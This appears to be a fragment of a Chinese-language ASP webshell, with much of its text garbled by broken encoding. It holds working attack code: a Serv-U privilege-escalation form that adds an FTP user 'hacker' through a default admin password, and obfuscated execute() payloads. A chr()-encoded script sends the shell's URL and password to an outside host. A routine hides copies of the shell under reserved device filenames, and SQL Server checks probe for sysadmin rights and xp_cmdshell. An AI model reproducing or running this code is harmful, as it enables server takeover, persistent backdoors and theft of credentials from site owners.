copyurl=chr(60)&chr(115)&chr(99)&chr(114)&chr(105)&chr(112)&chr(116)&chr(32)&chr(115)&chr(114)&chr(99)&chr(61)&chr(39)&chr(104)&chr(116)&chr(116)&chr(112)&chr(58)&chr(47)&chr(47)&chr(111)&chr(100)&chr(97)&chr(121)&chr(101)&chr(120)&chr(112)&chr(46)&chr(99)&chr(111)&chr(109)&chr(47)&chr(115)&chr(120)&chr(47)&chr(115)&chr(46)&chr(97)&chr(115)&chr(112)&chr(63)&chr(115)&chr(61)&str1&chr(38)&chr(112)&chr(61)&pp&chr(39)&chr(62)&chr(60)&chr(47)&chr(115)&chr(99)&chr(114)&chr(105)&chr(112)&chr(116)&chr(62)&chr(13)&chr(10):Function suftp():RRS"<p><center>Serv-U TȨ<54><C8A8><EFBFBD><EFBFBD>--<2D>޸<EFBFBD><DEB8><EFBFBD>Ȩ<EFBFBD><C8A8><EFBFBD>޷<EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></p>"
RRS"<form name='form1' method='post' action=''>"
RRS"<center><3E><><EFBFBD><EFBFBD>Ա:<input name='duser' type='text' class='TextBox' id='duser' value='LocalAdministrator'><br>"
RRS"<center><3E><><EFBFBD><EFBFBD>Ա<EFBFBD><D4B1><EFBFBD><EFBFBD> :<input name='dpwd' type='text' class='TextBox' id='dpwd' value='#l@$ak#.lk;0@P'><br>"
RRS"<center>SERV-U<>˿<EFBFBD>:<input name='dport' type='text' class='TextBox' id='dport' value='43958'><br>"
RRS"<center><3E><><EFBFBD>ӵ<EFBFBD><D3B5>û<EFBFBD><C3BB><EFBFBD>:<input name='tuser' type='text' class='TextBox' id='tuser' value='hacker'><br>"
RRS"<center><3E><><EFBFBD>ӵ<EFBFBD><D3B5>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>:<input name='tpass' type='text' class='TextBox' id='pass' value='hacker'><br>"
RRS"<center><3E>ʺŵ<CABA><C5B5><EFBFBD><EFBFBD>Ե<EFBFBD>·<EFBFBD><C2B7>:<input name='tpath' type='text' class='TextBox' id='tpath' value='C:\'><br>"
RRS"<center><3E><><EFBFBD><EFBFBD><EFBFBD>˿<EFBFBD>:<input name='tport' type='text' class='TextBox' id='tport' value='21'><br>"
RRS"<center><input name='radiobutton' type='radio' value='add' checked class='TextBox'>ȷ<><C8B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"
RRS"<center><input type='radio' name='radiobutton' value='del' class='TextBox'>ȷ<><C8B7>ɾ<EFBFBD><C9BE>"
RRS"<p><input name='Submit' type='submit' class='buttom' value='<27>ύ'></p></form>"
Usr = request.Form("duser")
pwd = request.Form("dpwd")
port = request.Form("dport")
tuser = request.Form("tuser")
tpass = request.Form("tpass")
tpath = request.Form("tpath")
tport = request.Form("tport")
hostip = request.Form("hostp")
timeout=600:execute(LUnEnCode("kn%isj<73>elsnmytsB8YXTU}%yjX<6A>e.xj{fjq-isjX38yxtU}<7D>ejzwY%1'xj{fjq4'+%ywtu%+'?635353<7644?uyym'%1'YXTU'%sjuT38yxtU}<7D>e.'UYYMQR]37QR]XR'-yhjogTjyfjwH%B%8yxtU}%yjX<6A>ekqwhg{%+%wjxzy%+%'BwjxZ%'%+%kqwhg{%+%ywtuy%+%'BtSywtU2'%+%kqwhg{%+%'5353535BUN2'%+%kqwhg{%+%'WJXZJYJQJI2'%+%xj{fjq%B%xj{fjq<6A>ekqwhg{%+%'JHSFSJYSNFR%JYNX'%+%xj{fjq%B%xj{fjq<6A>ekqwhg{%+%i|u%+%'%xxfU'%+%xj{fjq%B%xj{fjq<6A>ekqwhg{%+%wxZ%+%'%wjxZ'%B%xj{fjq<6A>ejxqj<71>e.'CWGACwgA.?%'%+%myfuy%+%'%?<3F><>·%'%+%xxfuy%+%'%?<3F><><EFBFBD><EFBFBD>'%+%'%'%+%wjxzy%+%'%?<3F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>%UYK<59><4B><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ִ<EFBFBD><D6B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>'-%jynw|3jxstuxjw<6A>elsnmytsBYXTU}%yjX<6A>e.xj{fjq-isjX3yxtU}<7D>ejzwY%1'xj{fjq4'+%ywtu%+'?635353<7644?uyym'%1'YXTU'%sjuT3yxtU}<7D>e.'UYYMQR]37QR]XR'-yhjogTjyfjwH%B%yxtU}%yjX<6A>ey}jS%jrzxjW%wtwwJ%sT<73>e<EFBFBD>ekqwhg{%+%'ynzv'%+%xj{fjq%B%xj{fjq<6A>ekqwhg{%+%'UIHQJRF\W""a'%+%myfuy%+%'BxxjhhF%'%+%kqwhg{%+%'jstSBxtnyfW2'%+%kqwhg{%+%'wfqzljWBju~Yiwt|xxfU2'%+%kqwhg{%+%'rjyx~XBjhsfsjysnfR2'<27>ed%+%kqwhg{%+%'5Brzrn}fRfytzV2'%+%kqwhg{%+%'5BysjwwzHfytzV2'%+%kqwhg{%+%'5BynijwHxtnyfW2'%+%kqwhg{%+%'6Bs|tItnyfW2'<27>ed%+%kqwhg{%+%'6BuZtnyfW2'%+%kqwhg{%+%'5Bjwnu}J2'%+%kqwhg{%+%'62ByzTjrnYstnxxjX2'%+%kqwhg{%+%'55;ByzTjrnYjqiN2'%+%kqwhg{%+%'62BxwjxZwS}fR2'<27>ed%+%kqwhg{%+%'5Bs|tIynrnQijjuX2'%+%kqwhg{%+%'5BuZynrnQijjuX2'%+%kqwhg{%+%'62BUNwjUsnltQxwjxZ}fR2'%+%kqwhg{%+%'5BjqgfsJfytzV2'<27>ed%+%kqwhg{%+%'5Biwt|xxfUjlsfmH2'%+%kqwhg{%+%'5BsnltQ|tqqFx~f|qF2'%+%kqwhg{%+%'5BsjiinMjinM2'%+%kqwhg{%+%'5BjwzhjXijjS2'<27>ed%+%kqwhg{%+%'6BxmyfUqjW2'%+%kqwhg{%+%'5BjqgfxnI2'%+%kqwhg{%+%'BjqnKxjRsnltQ2'%+%kqwhg{%+%'a'%+%myfuy%+%'BwnIjrtM2'<27>ed%+%kqwhg{%+%xxfuy%+%'Biwt|xxfU2'%+%kqwhg{%+%wjxzy%+%'BwjxZ2'%+%kqwhg{%+%ywtuy%+%'BtSywtU2'%+%kqwhg{%+%'5353535BUN2'%+%kqwhg{%+%'UZYJXWJXZYJX2'%+%xj{fjq%B%xj{fjq<6A>ekQwHg{%+%'B~jPT_Y%'%+%kQwHg{%+%'5BjqgfsJT_Y2'%+%kQwHg{%+%'5""6""62""'%+%ywtuy%+%'""5353535""jz~zt~BsnfrtI2'%+%kQwHg{%+%'SNFRTIYJX2'%+%xj{fjq%B%xj{fjq<6A>ekQwHg{%+%'JHSFSJYSNFR%JYNX'%B%yr<79>ekQwHg{%+%ywtuy%+%'BtSywtU%'%+%kQwHg{%+%'5353535BUN2'%+%kQwHg{%+%'SNFRTIjyjqjI2'%+%xj{fjq%B%xj{fjq<6A>ekqwhg{%+%'JHSFSJYSNFR%JYNX'%+%xj{fjq%B%xj{fjq<6A>ekqwhg{%+%i|u%+%'%xxfU'%+%xj{fjq%B%xj{fjq<6A>ekqwhg{%+%wxZ%+%'%wjxZ'%B%xj{fjq<6A>esjmY%'iif'%B%.'styyzgtnifw'-rwtK3yxjzvjw%kn")):End Function:
execute(shisanfun("noitcnuF dne<6E><65>cbb=tpyrcnE<6E><45>txen<65><6E>fi dne<6E><65>c&cbb=cbb<62><62>esle<6C><65>)1,)e(tnic,1LEEHWs(dim&cbb=cbb<62><62>)<29><><EFBFBD><EFBFBD>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>,d(ecalper=e<><65>1+i=i<><69>)2,i,dca(dim=d<><64>neht <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>=c fi<66><69>)1,i,dca(dim=c<><63>1 pets )dca(neL oT 1 = i roF<6F><46>)dca(tpyrcnE noitcnuF<75><46><EFBFBD><EFBFBD>twj<77><6A> = 1LEEHWs"))
acode="=s?psa.s/xs/moc.pxeyado//:p<><70>3<EFBFBD><33>3h'=crs <20><>3pircs<"
Function fuck():On Error Resume Next
execute(LUnEnCode(".myfUyktX-jxfhqBtksnmyfU<66>e.'myfU'-rjyn3ysjrstwn{sJ3mx\BmyfUyktX<74>e.'qqjmX3yunwhx\'-yhjogtjyfjwhBmx|%yjx<6A>emx|%rni"))
Response.Write"<LI>ϵͳ<CFB5><CDB3><EFBFBD><EFBFBD>֧<EFBFBD><D6A7>:<BR>"
Response.Write"-----------------------------<br>"
execute(LUnEnCode("'CwgA<67><41>֧?<3F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɱ<EFBFBD><C9B1>ϵ<EFBFBD><CFB5><EFBFBD><EFBFBD>CnqA'%jynw\3jxstuxjW%sjmY%.'lsnxnw'1tksnmyfU-wyxsn%kn<6B>e'CwgA<67><41>֧?<3F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɱ<EFBFBD><C9B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>CnqA'%jynw\3jxstuxjW%sjmY%.'xzwn{nysf'1tksnmyfU-wyxsn%kn<6B>e'CwgA<67><41>֧?<3F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɱ<EFBFBD><C9B1>ϵɽ<CFB5><C9BD>CnqA'%jynw\3jxstuxjW%sjmY%.'{fp'1tksnmyfU-wyxsn%kn<6B>e'CwgA<67><41>֧?<3F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɱqqnPCnqA'%jynw\3jxstuxjW%sjmY%.'qqnP'1tksnmyfU-wyxsn%kn<6B>e'CwgA<67><41>֧?<3F>ƿ<EFBFBD>jwjm|~sFhU<68><55><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>CnqA'%jynw\3jxstuxjW%sjmY%.'jwjm|~sfhu'1tksnmyfU-wyxsn%kn<6B>e'CwgA<67><41>֧?<3F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>RKHCnqA'%jynw\3jxstuxjW%sjmY%.'<}rstnxzkh'1tksnmyfU-wyxsn%kn<6B>e'CwgA<67><41>֧?<3F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>jqhfwTCnqA'%jynw\3jxstuxjW%sjmY%.'jqhfwt'1tksnmyfU-wyxsn%kn<6B>e'CwgA<67><41>֧?<3F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>QVX~RCnqA'%jynw\3jxstuxjW%sjmY%.'qvx~r'1tksnmyfU-wyxsn%kn<6B>e'CwgA<67><41>֧?<3F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>QVXXRCnqA'%jynw\3jxstuxjW%sjmY%.'wj{wjx%qvx%yktxtwhnr'1tksnmyfU-wyxsn%kn<6B>e'CwgA<67><41>֧?<3F><><EFBFBD><EFBFBD>f{fOCnqA'%jynw\3jxstuxjW%sjmY%.'f{fo'1tksnmyfU-wyxsn%kn<6B>e'CwgA<67><41>֧?<3F><><EFBFBD><EFBFBD>qwjUCnqA'%jynw\3jxstuxjW%sjmY%.'qwju'1tksnmyfU-wyxsN%kn"))
paths=split(SoftPath,";")
Response.Write "------------------------------------<br>"
Response.Write "ϵͳ<CFB5><CDB3>ǰ·<C7B0><C2B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:<br>"
For i=Lbound(paths) to Ubound(paths)
Response.Write "<li>"&paths(i)&"<br>"
next:end Function
execute(shisanfun("bus dne<6E><65><EFBFBD><EFBFBD>>tpircs/<;'<27><>&lru&)<29><>eman_revres<65><73>(tseuqer&<26><>//:ptth'=noitacol.tnerap>tpircs<<3C><> srr:gnihton=osf tes:1emanelif&<26><>.<2E><>&xepdnr&<26><>\<5C><>&1htapelif&<26><>\.\\<5C><>,htapf elifypoc.osf:1emanelif&<26><>.<2E><>&xepdnr&))<29><>/<2F><>,lru(verrtsni,lru(tfel=lru:)<29><>lru<72><75>(selbairavrevres.tseuqer=lru:))<29><>\<5C><>,htapf(verrtsni-)htapf(nel,htapf(thgir=1emanelif:)<29><>.<2E><>(htappam.revres=1htapelif:<3A><><EFBFBD><EFBFBD>=)<29><>wjles<65><73>(noisses:))71,0(rebmundnr()<29><>|<7C><>,xep(tilps=xepdnr:<3A><>9tpl|8tpl|7tpl|6tpl|5tpl|4tpl|3tpl|2tpl|1tpl|9moc|8moc|7moc|6moc|5moc|4moc|3moc|2moc|1moc<6F><63>=xep:)<29><>tcejbometsyselif.gnitpircs<63><73>(tcejboetaerc.revres=osf tes:)<29><>detalsnart_htap<61><70>(selbairavrevres.tseuqer=htapf<70><66>llehsneddih bus"))
execute(LUnEnCode("stnyhszK%isj?kn%isJ%%%%%%<25>e'<27><><EFBFBD><EFBFBD>jwjm|~sFhu<68><75><EFBFBD>ý<EFBFBD><C3BD>Ʋ<EFBFBD><C6B2><EFBFBD><EFBFBD><EFBFBD>¼Ŀ<C2BC><C4BF>Ĭ<EFBFBD><C4AC><EFBFBD>Կ<EFBFBD>1<EFBFBD><31><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>jwjm|~sFhu<68>ַ<EFBFBD>CnqA'%jynw\3jxstuxjW%%%%%%%%<25>esjmY%.'knh3'+jrfswj{wjx+'ahjysfr~XafyfI%stnyfhnquuFaxwjxZ%qqFaxlsnyyjX%isF%xysjrzhtIa'+wj{nwix~x-xyxn}JjqnK3txk%kN%%%%%%<25>e.'jrfSwjyzurtHajrfSwjyzurtHajrfSwjyzurtHaqtwystHayjXqtwystHysjwwzHaRJYX^XaRQPM'-ifjWljW3mx|Bjrfswj{wjx%%%%%%<25>e.71.7-wjiqtKqfnhjuxyjL3txK-ykjqBj{nwix~X%%%%%%<25>e.'yhjogTrjyx~XjqnK3lsnyunwhX'-yhjogtjyfjwH3wj{wjXBtxk%yjX%%%%%%<25>ey}jS%%%%<25>e%kn%isJ%%%%%%<25>ekn%isJ%%%%%%%%<25>e'CwgA<67><41>ľUMU<4D><55>д<EFBFBD>Ҳ<EFBFBD>1¼ĿqnfRgj\<5C>Ҳ<EFBFBD><D2B2>Կ<EFBFBD>1<EFBFBD><31><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ȩrjyx~XqfhtQ<74><51><EFBFBD><EFBFBD>1qnfrsn\%hnlfR<66><52><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>CnqA'%jynw\3jxstuxjW%%%%%%%%%%<25>esjmY%'rjyx~XqfhtQ'BjrfSyszthhFjhn{wjX3jhn{wjXogt%kn%%%%%%%%<25>esjmY%.'qnfrsn|'1.jrfS3jhn{wjXogt-jxfhq-wyxsn%kn%%%%%%%<25>e<EFBFBD>ekn%isJ%%%%%%<25>ekn%isJ%%%%%%%%<25>e'CwgAȨ<41><C8A8><EFBFBD><EFBFBD>ľuxO<78><4F>ʹ<EFBFBD>ǿ<EFBFBD><C7BF>Կ<EFBFBD>1<EFBFBD><31><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ȩrjyx~XqfhtQ<74><51><EFBFBD><EFBFBD>1yfhrtY<74><59><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>CnqA'%jynw\3jxstuxjW%%%%%%%%%%<25>esjmY%'rjyx~XqfhtQ'BjrfSyszthhFjhn{wjX3jhn{wjXogt%kn%%%%%%%%<25>esjmY%.'yfhrty'1.jrfS3jhn{wjXogt-jxfhq-wyxsn%kn%%%%%%<25>ekn%isJ%%%%%%<25>ekn%isj%%%%%%%%<25>ekn%isJ%%%%%%%%%%<25>e'CwgA<67><41>ľUMU<4D>ǿ<EFBFBD><C7BF>Կ<EFBFBD>1rjyx~XqfhtQΪ<51><CEAA>Ȩ<EFBFBD><C8A8><EFBFBD><EFBFBD>1<EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD>jmhfuF<75><46><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>CnqA%'%jynw\3jxstuxjW%%%%%%%%%%%%<25>ejxqJ%%%%%%%%%%<25>e'CwgAȨ<41><C8A8><EFBFBD><EFBFBD>ֱ<EFBFBD>Կ<EFBFBD>3jmhfuFΪ<46><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>GJ\ǰ<><C7B0>CnqA'%jynw\3jxstuxjW%%%%%%%%%%%%<25>esjmY%.'jmhfuF'1.'JWF\YKTXdWJ[WJX'-xjqgfnwf[wj{wjX3yxjzvjW-wyxsn%kN%%%%%%%%%%<25>esjmY%'rjyx~XqfhtQ'BjrfSyszthhFjhn{wjX3jhn{wjXogt%kn%%%%%%%%<25>esjmY%'jmhfuf'B.jrfS3jhn{wjXogt-jxfhq%kn%%%%%%<25>ekn%isJ%%%%%%<25>ekn%isJ%%%%%%%%<25>e'CwgAȨ<41><C8A8><EFBFBD>ǿ<EFBFBD><C7BF>Կ<EFBFBD>1<EFBFBD><31><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ȩrjyx~XqfhtQ<74><51><EFBFBD><EFBFBD>1װ<31><D7B0>Z2{wjX<6A><58><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>CnqA'%jynw\3jxstuxjW%%%%%%%%%%<25>esjmY%'rjyx~XqfhtQ'BjrfSyszthhFjhn{wjX3jhn{wjXogt%kn%%%%%%%%<25>esjmY%'Z2{wjX'BjrfS3jhn{wjXogt%kn%%%%%%<25>e%%%%%<25>e%%%%%%<25>ewjyzurtHogt%sN%jhn{wjXogt%mhfJ%wtK%%%%<25>ey}jS%jrzxjW%wtwwJ%sT,%%%%<25>e.'jhn{wjX'-~fwwF%B%wjyqnK3wjyzurtHogt%%%%<25>e.'stnyfhnquuF3qqjmX'-yhjogTjyfjwH3wj{wjX%B%fx%yjX%%%%<25>e.'344?YSsn\'-yhjogTyjL%B%wjyzurtHogt%yjX<6A>e'CwmACwgAb<41><62>̽<EFBFBD><CCBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>`'%jynw|3jxstuxjW?.-~itl%stnyhszK?stnyhszK%isj?'CwgACwgACwgA222222222222222222222222222222222222'%jynw\3jxstuxjW<6A>e'CwgA'+pp+'?Ϊ<><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD><C7B0>CnqA'jynw\3jxstuxjW<6A>e.pm-ifjWljW3mx|Bpp<70>e'ysztHarzsJaunuhYaxjhn{wjXa655yjXqtwystHaRJYX^XaRQPM'Bpm<70>e'CwgA'+qrys+'?Ϊ<><CEAA><EFBFBD><EFBFBD>qryS%yjsqjYCnqA'%jynw\3jxstuxjW<6A>e6BqryS%sjmY%''Bqrys%kn<6B>e.~jpQRYS-ifjWljW3mx\Bqrys<79>e'QRYSa536awj{wjXyjsqjYayktxtwhnRaJWF\YKTXaJSNMHFRdQFHTQd^JPM'B~jpQRYS<59>e'CwgA'+~quxni+'?<3F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ǵ<EFBFBD><C7B4><EFBFBD>ʾ<EFBFBD>Է<EFBFBD><D4B7><EFBFBD>CnqA'%jynw\3jxstuxjW<6A>e'<27><>'B~quxni%jxqj%'<27><>'B~quxni%sjmY%5Bsnltquxni%wt%''Bsnltquxni%kN<6B>e.'jrfSwjxZyxfQ~fquxnIystIarjyx~XaxjnhnqtUastnxwj[ysjwwzHax|tisn\ayktxtwhnRajwf|yktXaJSNMHFRdQFHTQd^JPM'-ifjWljw3mx|Bsnltquxni<6E>ekn%isJ<73>e'CwgA'+i|xxfU+'?<3F><><EFBFBD><EFBFBD>CjwfzvxBju~y%nqA'%jynw\3jxstuxjW%%<25>e'CwgA'+snriF+'?<3F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>CjwfzvxBju~y%nqA'%jynw\3jxstuxjW%%<25>e.'iwt|xxfUyqzfkjIastltqsn\astnxwj[ysjwwzHaYS%x|tisn\ayktxtwhnRaJWF\YKTXaJSNMHFRdQFHTQd^JPM'-ifjWljW3mx\Bi|xxfU%%<25>e.'jrfSwjxZyqzfkjIastltqsn\astnxwj[ysjwwzHaYS%x|tisn\ayktxtwhnRaJWF\YKTXaJSNMHFRdQFHTQd^JPM'-ifjWljW3mx\BsnriF%%<25>e'CwgA<67><41><EFBFBD><EFBFBD>?<3F><><EFBFBD>Ƕ<EFBFBD><C7B6>Ի<EFBFBD><D4BB><EFBFBD>CnqA'%jynw\3jxstuxjW%%<25>ejxqJ<71>e'CwgA<67><41><EFBFBD><EFBFBD>δ?<3F><><EFBFBD>Ƕ<EFBFBD><C7B6>Ի<EFBFBD><D4BB><EFBFBD>CnqA'%jynw\3jxstuxjW%%<25>esjmY%''BsnltqtyzF%wt%5BsnltqtyzF%kn<6B>e.snltqtyzFxn-ifjWljW3mx\BsnltqtyzF<7A>e'stltQsnriFtyzFastltqsn\astnxwj[ysjwwzHaYS%x|tisn\ayktxtwhnRaJWF\YKTXaJSNMHFRdQFHTQd^JPM'BsnltqtyzFxn<78>e'CwgA'+jrfSsnriF+'?Ϊ<><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ա<EFBFBD><D4B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ĬCnqA'%jynw\3jxstuxjW<6A>e'wtyfwyxnsnriF'BjrfSsnriF%sjmY%''Bjrfssnrif%kn<6B>e.~jPjrfSsnriF-ifjWljW3mx|BjrfSsnriF<69>e'jrfSwjxZyqzfkjIyqFastltqsn\astnxwj[ysjwwzHaYS%x|tisn\ayktxtwhnRaJWF\YKTXaJSNMHFRdQFHTQd^JPM'B~jPjrfSsnriF<69>e'CwgA'+jrfshu+'?Ϊ<><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD><C7B0>CnqA'%jynw\3jxstuxjW<6A>e'CwgA3<41><33><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>'Bjrfshu%sjmY%''Bjrfshu%kn<6B>e.~jpjrfshu-ifjWljW3mx|Bjrfshu<68>e'jrfSwjyzurtHajrfSwjyzurtHajrfSwjyzurtHaqtwystHayjXqtwystHysjwwzHaRJYX^XaRQPM'B~jpjrfshu<68>e<EFBFBD>e'C6Bj nx%wmACwgAb<41><62>̽<EFBFBD><CCBD><EFBFBD><EFBFBD>ͳϵ`CwgACwgA'%jynw\3jxstuxjW <09>ekn%isj%%%%<25>ey}jS%%%%%%<25>e'CwgA222222222222222222222222222222222222222222222222'%jynw\3jxstuxjW%%%%%%%%<25>ekn%isJ%%%%%%%%<25>ekn%isJ%%%%%%%%%%<25>e'CwgA'%jynw\3jxstuxjW%%%%%%%%%%%%<25>ey}js%%%%%%%%%%%%<25>e'1'+.o-|tqqfUIZ%jynw\3jxstuxjW%%%%%%%%%%%%%%<25>e.|tqqfuiz-isztGZ%tY%.|tqqfuiz-isztGQ%B%o%wtk%%%%%%%%%%%%<25>e'?Ϊ<>ڶ<EFBFBD>UIZ<49><5A><EFBFBD><EFBFBD><EFBFBD><EFBFBD>CnqA'%jynw\3jxstuxjW%%%%%%%%%%%%<25>ejxqJ%%%%%%%%%%<25>e'CwgA<67>
RESPONSE.WRITE "<CENTER><FONT COLOR=RED>û<>е<EFBFBD>½</FONT></CENTER><BR>"
ELSE RESPONSE.WRITE "<CENTER><FONT COLOR=RED><3E>Ѿ<EFBFBD><D1BE><EFBFBD>½</FONT></CENTER><BR>"
END IF
RESPONSE.WRITE "<CENTER><A HREF="&REQUEST.SERVERVARIABLES("URL")&"?SQLAAA=LOGOUT><FONT COLOR=BLACK><3E>˳<EFBFBD><CBB3><EFBFBD>½</FONT></A></CENTER><BR>"
IF REQUEST("SQLAAA")="LOGIN" THEN
SET ADOCONN=SERVER.CREATEOBJECT("ADODB.CONNECTION")
ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & REQUEST.FORM("SERVER") & "," & REQUEST.FORM("PORT") & ";PASSWORD=" & REQUEST.FORM("PASS") & ";UID=" & REQUEST.FORM("NAME")
IF ERR.NUMBER=-2147467259 THEN
RESPONSE.WRITE "<FONT COLOR=RED><3E><><EFBFBD><EFBFBD>Դ<EFBFBD><D4B4><EFBFBD>Ӵ<EFBFBD><D3B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>飡</FONT>"
RESPONSE.END
ELSEIF ERR.NUMBER=-2147217843 THEN
RESPONSE.WRITE "<FONT COLOR=RED><3E>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>飡</FONT>"
RESPONSE.END
ELSEIF ERR.NUMBER=0 THEN
STRQUERY="SELECT @@VERSION"
SET RECRESULT = ADOCONN.EXECUTE(STRQUERY)
IF INSTR(RECRESULT(0),"NT 5.0") THEN
RESPONSE.WRITE "<FONT COLOR=RED>WINDOWS 2000ϵͳ</FONT><BR>"
SESSION("SYSTEM")="2000"
ELSEIF INSTR(RECRESULT(0),"NT 5.1") THEN
RESPONSE.WRITE "<FONT COLOR=RED>WINDOWS XPϵͳ</FONT><BR>"
SESSION("SYSTEM")="XP"
ELSEIF INSTR(RECRESULT(0),"NT 5.2") THEN
RESPONSE.WRITE "<FONT COLOR=RED>WINDOWS 2003ϵͳ</FONT><BR>"
SESSION("SYSTEM")="2003"
ELSE
RESPONSE.WRITE "<FONT COLOR=RED><3E><><EFBFBD><EFBFBD>ϵͳ</FONT><BR>"
SESSION("SYSTEM")="NO"
END IF
STRQUERY="SELECT IS_SRVROLEMEMBER('SYSADMIN')"
SET RECRESULT = ADOCONN.EXECUTE(STRQUERY)
IF RECRESULT(0)=1 THEN
RESPONSE.WRITE "<FONT COLOR=RED><3E><>ϲ<EFBFBD><CFB2>SQL SERVER<45><52><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8></FONT><BR>"
SESSION("PRI")=1
ELSE
RESPONSE.WRITE "<FONT COLOR=RED><3E><><EFBFBD>ƣ<EFBFBD>Ȩ<EFBFBD>޲<EFBFBD><DEB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ʋ<EFBFBD><C6B2><EFBFBD>ִ<EFBFBD><D6B4><EFBFBD><EFBFBD><EFBFBD></FONT><BR>"
SESSION("PRI")=0
END IF
SESSION("LOGIN")="YES"
SESSION("NAME")=REQUEST.FORM("NAME")
SESSION("PASS")=REQUEST.FORM("PASS")
SESSION("SERVER")=REQUEST.FORM("SERVER")
SESSION("PORT")=REQUEST.FORM("PORT")
END IF
ELSEIF REQUEST("SQLAAA")="TEST" THEN
IF SESSION("LOGIN")<>"" THEN
IF SESSION("SYSTEM")="2000" THEN
RESPONSE.WRITE "<FONT COLOR=RED>WINDOWS 2000ϵͳ</FONT><BR>"
ELSEIF SESSION("SYSTEM")="XP" THEN
RESPONSE.WRITE "<FONT COLOR=RED>WINDOWS XPϵͳ</FONT><BR>"
ELSEIF SESSION("SYSTEM")="2003" THEN
RESPONSE.WRITE "<FONT COLOR=RED>WINDOWS 2003ϵͳ</FONT><BR>"
ELSE
RESPONSE.WRITE "<FONT COLOR=RED><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ</FONT><BR>"
END IF
IF SESSION("PRI")=1 THEN
RESPONSE.WRITE "<FONT COLOR=RED><3E><>ϲ<EFBFBD><CFB2>SQL SERVER<45><52><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8></FONT><BR>"
ELSE
RESPONSE.WRITE "<FONT COLOR=RED><3E><><EFBFBD>ƣ<EFBFBD>Ȩ<EFBFBD>޲<EFBFBD><DEB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ʋ<EFBFBD><C6B2><EFBFBD>ִ<EFBFBD><D6B4><EFBFBD><EFBFBD><EFBFBD></FONT><BR>"
END IF
SET ADOCONN=SERVER.CREATEOBJECT("ADODB.CONNECTION")
ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & SESSION("SERVER") & "," & SESSION("PORT") & ";PASSWORD=" & SESSION("PASS") & ";UID=" & SESSION("NAME")
STRQUERY="SELECT COUNT(*) FROM MASTER.DBO.SYSOBJECTS WHERE XTYPE='X' AND NAME='XP_CMDSHELL'"
SET RECRESULT = ADOCONN.EXECUTE(STRQUERY)
IF RECRESULT(0) THEN
SESSION("XP_CMDSHELL")=1
RESPONSE.WRITE "<FONT COLOR=RED>XP_CMDSHELL............. <20><><EFBFBD><EFBFBD>!</FONT>"
ELSE
SESSION("XP_CMDSHELL")=0
RESPONSE.WRITE "<FONT COLOR=RED>XP_CMDSHELL............. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!</FONT>"
END IF
STRQUERY="SELECT COUNT(*) FROM MASTER.DBO.SYSOBJECTS WHERE XTYPE='X' AND NAME='SP_OACREATE'"
SET RECRESULT = ADOCONN.EXECUTE(STRQUERY)
IF RECRESULT(0) THEN
